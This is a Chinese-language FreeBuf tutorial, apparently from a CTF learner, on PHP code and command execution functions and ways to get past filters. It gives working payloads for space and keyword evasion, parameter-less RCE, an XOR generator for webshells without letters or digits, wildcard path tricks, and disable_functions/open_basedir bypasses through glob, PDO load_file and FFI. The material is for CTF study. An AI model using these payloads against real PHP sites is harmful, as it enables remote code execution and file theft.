PHP中的代码执行,命令执行与常见bypass技巧
本文由
创作,已纳入「FreeBuf原创奖励计划」,未授权禁止转载
命令执行
目录
PHP中的命令执行与代码执行
最近在复习之前学过得知识点。因为之前是0基础来学习的,所以很多东西可能是没有弄懂的。现在重新回顾一下命令执行这一块。学到了不少的知识。
命令执行与代码执行
在PHP中我们首先要搞清楚什么是代码执行,什么是命令执行。
通俗一点讲,代码执行是执行PHP代码。命令执行是执行linux系统下的命令。
这两者是有区别的。有些代码在php下看起来是有错的,但是在linux下是正确的。
在下面的文章里遇到了再分析。
常见的代码执行函数
在PHP中,允许我们自行传入php代码并执行。一般我们常用的有以下几种:
1.eval($string):
把参数中的字符串当做php代码执行。该字符串必须是合法的代码,且必须以分号结尾。
这里强调了合法代码和分号结尾。
我们可以理解为eval()执行了一个相当于为$string添加php短标签的功能即 <?php $string
当不能使用分号时,可以利用?>来代替。因为php语法中,最后一句php代码可以不闭合。
#这里需要格外指出,eval()是一个语言构造器而不是一个函数,不能被可变函数调用。
----------------------------------------------------------------------------------------
2.assert($assertion):
如果assertion是字符串,那么将会被assert()当作php代码执行。且可以不以分号结尾。
#在PHP7以前assert是作为函数。PHP7以后,assert与eval一样。都是语言构造器。这个知识点可能会出现在$_POST[1]($_POST[2])中
----------------------------------------------------------------------------------------
3.call_user_func($func,$string):
该函数用于函数调用。我们第一个参数作为调用函数,第二个作为回调函数的参数。算不上代码执行。只能说是一个危险函数。
常见的命令执行函数:
在PHP中,允许我们执行系统程序命令。一般有以下函数:
1.system():
执行一个外部程序命令,并且输出执行结果,返回最后一行。
#这里理解一下输出执行结果,返回最后一行。是指先将命令执行的结果打印出来,然后再将最后一行作为返回值。
#可以理解为它函数内部存在一个 print($result);return last->result;这样子。
#如果命令中需要用空格分开的话,就需要对执行的命令加上引号。
-------------------------------------------------------------------------------------------------------------------
2.exec():
执行一个外部程序。并返回执行结果最后一行的内容。
#这里只返回执行结果的最后一行内容。不会有输出打印。
-------------------------------------------------------------------------------------------------------------------
3.passthru():
执行外部程序并且显示原始输出
-------------------------------------------------------------------------------------------------------------------
4.shell_exec():该函数等价于 ` `
通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
#该函数不会显示执行结果。需要加echo才会打印输出结果。``是shell_exec()的简化形式。实际是同一个函数。
-------------------------------------------------------------------------------------------------------------------
linux中用于打开文件的函数:
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容,搭配-c参数读内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
Trick
特殊字符bypass
空格bypass:
1.%09
2.重定向 <>
3.${IFS}
4./**/ 注释符
单词bypass:
1.cat -->ca\t
2.flag -->fl\ag fl''ag f*
字母bypass:
1.FLAG -->F[9-M][9-M]G
重定义$GET bypass
前提:存在代码执行函数
eavl($GET[1]);
1=$_GET[2]&2=phpinfo();
无参RCE
以下内容可自由搭配。并在php代码中调试。
highlight_file(next(array_reverse(scandir(pos(localeconv())))));
Localeconv() | 返回包含本地数字及货币格式信息的数组 | 该函数的第一个值就是”.” |
Cuurent() | 返回数组中当前元素的值 | |
Next() | 指针指向下一个元素并且输出 | |
Array_reverse() | 以相反的顺序返回数组 | |
Print_r() | 打印变量 | |
Higlight_file | 高亮显示文件,没什么好说的 | |
Show_source | 跟highlight_file一样的效果。 | |
Array_reverse | 倒序数组 | |
Array_rand | 随机取出数组中的一个或多个单元 | |
Array_filp | 交换数组的键和值 | |
Readfile | 读文件 | |
sessionid() | 返回当前会话ID | |
scandir(directory,sorting_order,context) | 以数组形式返回文件和目录 | 第一个参数是目录,第二个是排序方式 |
pos | 取第一个值 |
无字母数字webshell
异或型:
<?php
$l = "";
$r = "";
$argv = str_split("cat flag.php");//准备得到的字符串
for($i=0;$i<count($argv);$i++)
{
for($j=0;$j<255;$j++)
{
$k = chr($j)^chr(255);
if($k == $argv[$i]){
if($j<16){
$l .= "%ff";
$r .= "%0" . dechex($j);
continue;
}
$l .= "%ff";
$r .= "%" . dechex($j);
continue;
}
}
}
echo "('$l')^('$r')";
?>
取反型:
urlencode(~"phpinfo");
urlencode(~"system");
特殊型:
$ctfshow=$P=$_(C+3+1)(C+2)(C+XX)=$$P(1)($$P(2))
等价于
$ctfshow =$P=$_GET=$_GET(1)($_GET(2))
source . 命令:
使用source <文件名> 用当前的shell执行一个文件中的命令
如图。我现在flag.txt里面内容时cat test.txt
test.txt里面是hello world!
那么我使用source flag.txt 就会打开test.txt
而在linux下 source可以利用 . 代替
那么现在我们要做的就是上传一个flag.txt文件。再根据php的一个特性。
我们POST一个文件后,该文件会被保存到/tmp/phpXXXXXX 文件后六位是随机的大小写字母。我们可以用通配符,不影响。
如/???/???[-]?????? 表示第三个位置是-
并且我们再利用一个[@-]] 其中@表示ascii值64,[表示91.那么就可以读到大写字母了
linux逻辑运算符
当我们执行的代码中包含有我们不想执行的代码时。
; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行
通过匹配符:
利用通配符绕过限制,并且寻找唯一定向命令
/???/????64 ???????? -->匹配后是:?c=/bin/base64 flag.php
/???/???/????2 ???????? --->匹配后是:?c=/usr/bin/bzip2 flag.php 会生成一个flag.php.bz2的文件
#之后访问这个文件即可
数字构造:
在LINUX下:
$(())=0
$((~$(())))=-1
为了方便理解。我们把-1设为a.即a=$((~$(())))=-1
那么$((aaaa))=-4 即这个表达式里面是默认加的
$((~$((aaaa))))=3 取反减1了。
那么我们直接构造37个a
disable_function bypass
预期解法:
因为我们不能利用命令执行去读取文件了。因此我们只能利用php的代码执行去读文件。常见的php读文件有
1. highlight_file()
2. file_get_contents()
3. show_source()
4. fgets()
5. file()
6. readfile()
其它姿势:
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
copy("flag.php","flag.txt");
rename("flag.php","flag.txt");
提前终止
当我们输入内容会被后方的代码更改时,可以提前终止代码执行。进而避免被更改
include("/flag.txt");die;或者include("/flag.txt");exit();
open_dir
1.glob绕过:
查找匹配的文件路径模式
例:
<?php
// 循环 ext/spl/examples/ 目录里所有 *.php 文件
// 并打印文件名和文件尺寸
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>
那么我们要打印根目录所有文件:
#c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f."||";}exit();
2.蚁剑插件bypass
3.数据库bypass
#payload:c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f."||";}exit();
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');//连接数据库
foreach($dbh->query('select load_file("/flag36.txt")') as $row)//利用load_file加载文件flag36.txt
{echo($row[0])."|"; }$dbh = null;}
catch (PDOException $e) {echo $e->getMessage();exit(0);}
exit(0);
4.FFI (PHP>7.4)
#payload:c=$ffi=FFI::cdef("int system(char *command);", "libc.so.6");$a='/readflag > 1.txt';$ffi->system($a);exit();
FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a=''cat /flag36x.txt > 1.txt';//因为没有回显
$ffi->system($a);//通过$ffi去调用system函数
但是flag36x.txt是空的。那么我们执行readflag命令吧。
写文件利用
在某些题目中我们可能没有回显。这里就需要使用curl外带,如果curl外带没用给的话,就需要写文件了。
1.重定向写文件
echo "123">1.txt
2.tee管道写文件
ls|tee 1.txt
本文暂时先讲到这里,具体的CTF题目下一次再更吧!
如果你也对网络安全感兴趣,苏寅生团队欢迎你的加入~
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
文章目录